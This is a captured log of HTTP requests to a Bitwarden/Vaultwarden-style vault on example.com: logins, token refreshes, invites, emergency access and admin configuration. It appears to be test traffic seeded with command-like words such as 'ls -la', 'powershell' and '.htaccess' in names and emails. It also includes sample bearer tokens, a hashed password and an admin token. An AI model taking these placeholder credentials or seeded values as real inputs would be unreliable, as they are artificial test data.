(KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 158", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"powershell@example.com\",\"python3@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
{"method": "GET", "target": "/api/emergency-access/trusted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5Njg3NDkzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNVJHOENYTllpemlyVzFHRGVTeHduV19VRXJlV0xkeDRySWRlN2FQNTBfSUw3b19ONXd6QTdKdFh6dVJ3T2lPVU1aTFNfRUI2T29JRGhzNkJsZThSMXc9PSIsInRva2VuIjpudWxsfQ.Srb4A9_Ulqy8z6hFlLpX7oZLlOHow9P_b2jLOS6WD40TaAg72K5Lzoki34V1ptorkk3K3rn1x3v3EMixywZ9PJcf6J_mDqUiV7UKgqAJAzIQV77XuxNYJUSqiPi4RSLEuTjZ7fEfIlOyhbLYGNSWiKfDaJoMDUk4rQeS4wluKAzO4L9ctcjjIpiGK7r8zAcFBF6LMDNOyQ6UhWjDF-zTtAop6PiX5vrhB0Z1oc1uBGLuu-3TQfmX95bg0LB0beG6-Ac6_t06OAC23Z9aEXtyCbtMD9vaD4liSeINBEovZsmcjs99R2PwszzvhPaOSdSBHnJrroCIEXdW3-7MQH42lw"}
{"method": "GET", "target": "/api/emergency-access/granted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: cbab8704-bbce-46dd-ae1c-46db82853311", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=85c47933-cd4b-495d-bcc9-922b445f0fda&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/emergency-access/invite", "headers": ["Host: example.com", "Content-Length: 57", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3@example.com\",\"type\":0,\"waitTimeDays\":7}"}
{"method": "GET", "target": "/api/hibp/breach?username=powershell%40example.com", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/vw_static/hibp.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2572", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 38", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"email\":\"powershell.ops@example.com\"}"}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2586", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":\"smtp.example.com\",\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
